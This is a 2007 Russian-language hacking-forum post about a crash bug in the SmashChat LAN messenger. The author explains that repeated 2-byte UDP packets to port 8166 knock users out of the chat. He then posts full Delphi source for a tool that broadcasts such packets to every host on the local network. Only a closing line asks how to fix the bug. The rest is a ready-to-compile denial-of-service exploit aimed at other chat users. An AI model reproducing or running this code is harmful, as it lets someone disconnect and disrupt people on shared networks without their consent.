Чаты Уязвимости SmashChat 1.0.3.845

Discussion in 'Веб-уязвимости' started by fen, 19 Feb 2007.

  1. fen

    fen Elder - Старейшина

    Joined:
    23 Sep 2006
    Messages:
    41
    Likes Received:
    6
    Reputations:
    0
    В нашей сети все пользуются SmashChat для общения, передачу файлов через сеть и др. функциями.
    Скачать можете тут этот чат:

    _http://xfen.narod.ru/smashchat/SmashChat1.0.3.845.rar
    И вот недавно стали часто местные "любители хака" кикать с чата, банить людей... Я зажегся идеей тоже найти баги и попробывать написать программку Smash Die (название соответсвует назначению проги :D )
    Передача данных в чате осуществляется через 8166 UDP порт.

    Оказуется что, если отправить получателю 2 байта, то вылетает ошибка (этот баг еще в настоящий момент не исправлен автором). Но 1 ошибка тока заграмаждает ОЗУ, но если отправить 250 раз, то получатель, он же жертва, проста-напроста вылетает из чата.Скомпилированную прогу не стал выкладывать,так как кто знает и кому нада, тот поймет, исходный код (с использованием winsock) на Delphi вот:

    HTML:
    
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls,winsock;
    
    type
      TForm1 = class(TForm)
        Button1: TButton;
        Memo1: TMemo;
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    const
     port=8166;
    var
      Form1: TForm1;
      Init: TWSAData;
      SockOpt: BOOL;
      Sock: TSocket;
      hd: TSockAddrIn;
      Data:string;
      Databytes:byte;
    implementation
    
    {$R *.dfm}
    
    procedure TForm1.Button1Click(Sender: TObject);
    var
     i:integer;
    begin
    for i:=1 to 235 do
      begin
      Databytes:=2;
      WSAStartup($101,Init);
      Sock:=Socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
      SockOpt:=TRUE;
      SetSockOpt(Sock,SOL_SOCKET,SO_BROADCAST,Pchar(@SockOpt),SizeOf(SockOpt));
      hd.sin_port:=htons(port);
      hd.sin_addr.S_addr:=INADDR_BROADCAST;
      hd.sa_family:=AF_INET;
      SendTo(Sock,Data,DataBytes,0,hd,SizeOf(hd));
      WSACleanup;
      end;
    end;
    
    end.
    
    И тут же: у кого есть какие предложения, мысли для написания проги - ликвидации этого бага...
     
    2 people like this.